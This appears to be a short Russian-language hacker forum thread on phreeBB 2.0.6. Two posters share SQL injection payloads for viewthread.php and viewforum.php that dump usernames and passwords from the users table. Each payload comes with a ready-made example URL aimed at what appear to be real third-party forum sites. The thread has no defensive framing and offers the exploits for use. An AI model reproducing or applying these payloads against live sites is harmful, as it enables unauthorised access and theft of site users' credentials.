phreeBB 2.0.6

[Ded MustD!e]

Не путать с phpBB!

SQL-Inj

Продукт: phreeBB
Версия: 2.0.6
Уязвимый скрипт: viewthread.php

$result = mysql_query("SELECT * FROM viewForums WHERE view=$id");
$msgData = mysql_fetch_array($result);


Эксплойт: -1/**/union/**/select/**/1,2,3,concat_ws(0x3a,userName,userPass),5,6,7,8,9, 10/**/from/**/users--+

Пример: http://www.vespaclubbiella.it/forum/viewthread.php?forumid=2&id=-42/**/union/**/select/**/1,2,3,concat_ws(0x3a,userName,userPass),5,6,7,8,9, 10/**/from/**/users--+

[HAXTA4OK]

А че дальше то недобил Дедуль)))))
чет случайно наткнулся)))У меня сорцов нету , не смог ни где скачать)((((((

Файл : viewforum.php
exploit :

-1+union+select+1,concat_ws(0x3a,userName,userPass) ,3,4,5,6,7,8+from+users--

Пример:
http://ilcuckold.altervista.org/forum/viewforum.php?id=-1+union+select+1,concat_ws(0x3a,userName,userPass) ,3,4,5,6,7,8+from+users--